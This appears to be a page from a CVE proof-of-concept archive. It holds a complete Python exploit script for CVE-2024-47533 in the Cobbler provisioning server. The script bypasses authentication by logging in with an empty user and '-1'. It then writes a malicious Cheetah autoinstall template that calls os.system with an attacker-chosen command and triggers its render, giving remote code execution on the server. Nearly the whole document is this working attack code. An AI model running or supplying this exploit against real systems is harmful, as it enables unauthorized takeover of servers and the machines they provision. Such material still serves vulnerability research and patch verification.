4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-47533.py PY
#!/usr/bin/env python3
import xmlrpc.client
import argparse
import sys

def ensure_distro(srv, token, name="pwn_distro"):
    distros = srv.get_distros()
    if distros:
        return distros[0]["name"]

    # Create a minimal "dummy" distro; fields just need to exist
    did = srv.new_distro(token)
    srv.modify_distro(did, "name", name, token)
    srv.modify_distro(did, "arch", "x86_64", token)
    srv.modify_distro(did, "breed", "redhat", token)
    # Cobbler wants these set, but they won't be used by render
    srv.modify_distro(did, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
    srv.modify_distro(did, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
    srv.save_distro(did, token)
    return name

def ensure_profile(srv, token, profile_name="pwnprof"):
    try:
        pid = srv.new_profile(token)
        srv.modify_profile(pid, "name", profile_name, token)
    except xmlrpc.client.Fault:
        pid = srv.get_profile(profile_name, token)
    return pid

def main():
    ap = argparse.ArgumentParser(description="Cobbler CVE-2024-47533 render-RCE")
    ap.add_argument("--url", required=True, help="XML-RPC endpoint (e.g. http://127.0.0.1:25151 or http://host/cobbler_api)")
    ap.add_argument("--cmd", required=True, help="Command to run on the server during render")
    ap.add_argument("--profile", default="pwnprof", help="Profile name to create/use")
    ap.add_argument("--distro", default="pwn_distro", help="Distro name to create if none exist")
    args = ap.parse_args()

    srv = xmlrpc.client.ServerProxy(args.url)
    token = srv.login("", -1)  # CVE-2024-47533

    # Ensure a distro exists (create dummy if needed)
    distro_name = ensure_distro(srv, token, args.distro)
    print(f"[+] Using distro: {distro_name}")

    # Cheetah expression-only payload keeps renderer happy
    payload = f"""#set $null = __import__('os').system({args.cmd!r})
lang en_US
keyboard us
network --bootproto=dhcp
rootpw  --plaintext cobbler
timezone UTC
bootloader --location=mbr
clearpart --all --initlabel
autopart
reboot
"""

    # Write malicious template
    srv.write_autoinstall_template("pwn.ks", payload, token)

    # Create/reuse profile and wire it up
    pid = ensure_profile(srv, token, args.profile)
    srv.modify_profile(pid, "distro", distro_name, token)
    srv.modify_profile(pid, "autoinstall", "pwn.ks", token)
    srv.modify_profile(pid, "kickstart",   "pwn.ks", token)
    srv.save_profile(pid, token)

    # Trigger server-side render (no token arg here)
    print("[+] Triggering render...")
    rendered = srv.generate_profile_autoinstall(args.profile)
    print(rendered)

if __name__ == "__main__":
    main()